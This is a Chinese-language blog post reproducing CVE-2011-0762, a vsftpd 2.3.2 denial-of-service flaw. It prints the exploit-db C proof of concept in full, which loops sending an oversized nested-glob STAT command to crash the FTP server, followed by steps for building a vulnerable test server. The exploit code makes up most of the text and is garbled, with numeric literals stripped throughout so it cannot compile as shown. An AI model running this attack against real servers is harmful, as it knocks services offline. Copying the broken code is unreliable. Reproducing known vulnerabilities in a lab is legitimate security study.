CVE-2011-0762环境搭建与EXP利用

时间:2023-03-08 22:03:12

CVE-2011-0762 vsftpd拒绝服务漏洞

危害:通过发送特殊构造的数据包、利用漏洞使应用程序崩溃

条件:连接上vsftpd才能发包

发现时间:2011-03-01

需求:找到EXP运行发送的数据日志中的特征

EXP地址 https://www.exploit-db.com/exploits/16270/

 #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h> /*
This is code of
http://cxib.net/stuff/vspoc232.c PoC CVE-2011-0762 ( vsftpd )
Remote Denial of Service Affected: 2.3.2
Fix: 2.3.4 Author:
Maksymilian Arciemowicz Use:
./vspoc232 127.0.0.1 21 user pass 1 or read
http://securityreason.com/achievement_securityalert/95
for more information Example result:
cx@cx64:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host. */ int skip=; int sendftp(int stream,char *what){
if(-==send(stream,what,strlen(what),))
printf("Can't send %s\n",what);
else
printf("send: %s\n",what); bzero(what,sizeof(what));
} void readftp(int stream){
char readline[];
if(recv(stream,readline,,)<)
if(!skip) exit(); // end
else
printf("recv: %s\n",readline); } int sendstat(host,port,login,pass)
char *host,*port,*login,*pass;
{
char buffer[]; // send ftp command buffor
int sockfd,n,error;
struct addrinfo hints;
struct addrinfo *res, *res0; memset(&hints, , sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0); if (error){
errorcon:
printf("Can`t connect\n.exit");
exit();
} if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<) goto errorcon;
if(-==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon; readftp(sockfd);
snprintf(buffer,,"USER %s\nPASS %s\n\n",login,pass);
sendftp(sockfd,buffer);
readftp(sockfd); snprintf(buffer,,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n");
sendftp(sockfd,buffer);
freeaddrinfo(res0);
} int main(int argc,char *argv[])
{
char *login,*pass,logindef[]="anonymous",passdef[]="cxib.net@127.0.0.1"; if(argc<){
printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n");
exit();
} char *host=argv[];
char *port=argv[]; if(<=argc) login=argv[];
else login=logindef; if(<=argc) pass=argv[];
else pass=passdef; if(<=argc) skip=; while(){
printf("----------------------------- next\n");
sendstat(host,port,login,pass);
sleep(); // some delay to be sure
}
return ; // never happen
}

查看EXP,需要socket连接,还需要FTP用户名和密码,才会继续发包。当然可以修改一下程序,随便连一个端口就开始发buf,但是怕有一些出入,还是搭环境吧。

环境==> centos6.5

vsftpd 2.3.2 download address: http://vdisk.weibo.com/s/uKF5p9XuEaPPR(百度找一个就好了)

1.

下载后

移到自己的文件夹

mkdir huim

cp vsftpd-2.3.2.tar.gz /huim/vsftpd-2.3.2.tar.gz

解压

tar -zxvf vsftpd-2.3.2.tar.gz

ls

查看安装说明,详情请查看改文件,从安装到启动一步到位

more INSTALL

添加 nobody用户

useradd nobody

useradd: user nobody exists 已经存在

创建空目录存放

mkdir /usr/share/empty/

已经存在

FTP目录root

chown root.root /var/ftp

更改权限,去掉属组和其他人的写权限

chmod og-w /var/ftp

编译二进制

make

安装

make install

出现了类似以下的错误

collect2: ld returned 1 exit status
make: *** [vsftpd] Error 1

其中缺少依赖

一个重要的是

yum install libcap-devel

后来按照INSTALL中的一些cp mv 操作,就OK了

最后一个解决的是

/usr/local/man路径下的 man5路径,可能是之前cp的时候复制的是 man5的文件,所以出错。

之后  ftp 127.0.0.1,用户名 anonymous,密码随意,成功登入。

运行EXP,开始拒绝服务攻击。

参考:

http://www.cnblogs.com/wayne173/p/3747336.html
http://tyjhz.blog.51cto.com/8756882/1392754/